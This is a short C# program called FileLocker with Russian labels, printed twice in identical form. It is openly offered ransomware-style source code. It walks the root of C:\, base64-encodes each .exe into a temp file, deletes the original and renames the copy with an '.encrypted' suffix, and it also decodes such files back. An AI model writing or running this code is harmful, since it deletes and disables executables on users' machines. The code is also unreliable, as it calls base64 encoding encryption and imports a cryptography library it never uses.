Исходный код: using System; using System.Collections.Generic; using System.Text; using System.IO; using System.Security.Cryptography; namespace FileLocker { class Program { static void Main(string[] args) { string[] files = Directory.GetFiles(@"C:\"); foreach (string fileName in files) { if (fileName.EndsWith(".exe")) { string tempFile = Path.GetTempFileName(); File.WriteAllText(tempFile, Convert.ToBase64String(File.ReadAllBytes(fileName))); File.Delete(fileName); File.Move(tempFile, fileName + ".encrypted"); Console.WriteLine(fileName); } else if (fileName.EndsWith(".encrypted")) { string tempFile = Path.GetTempFileName(); File.WriteAllBytes(tempFile, Convert.FromBase64String(File.ReadAllText(fileName))); File.Delete(fileName); string extension = fileName.Replace(".encrypted", ""); File.Move(tempFile, extension); } } Console.Read(); } } } Код using System; using System.Collections.Generic; using System.Text; using System.IO; using System.Security.Cryptography; namespace FileLocker { class Program { static void Main(string[] args) { string[] files = Directory.GetFiles(@"C:\"); foreach (string fileName in files) { if (fileName.EndsWith(".exe")) { string tempFile = Path.GetTempFileName(); File.WriteAllText(tempFile, Convert.ToBase64String(File.ReadAllBytes(fileName))); File.Delete(fileName); File.Move(tempFile, fileName + ".encrypted"); Console.WriteLine(fileName); } else if (fileName.EndsWith(".encrypted")) { string tempFile = Path.GetTempFileName(); File.WriteAllBytes(tempFile, Convert.FromBase64String(File.ReadAllText(fileName))); File.Delete(fileName); string extension = fileName.Replace(".encrypted", ""); File.Move(tempFile, extension); } } Console.Read(); } } }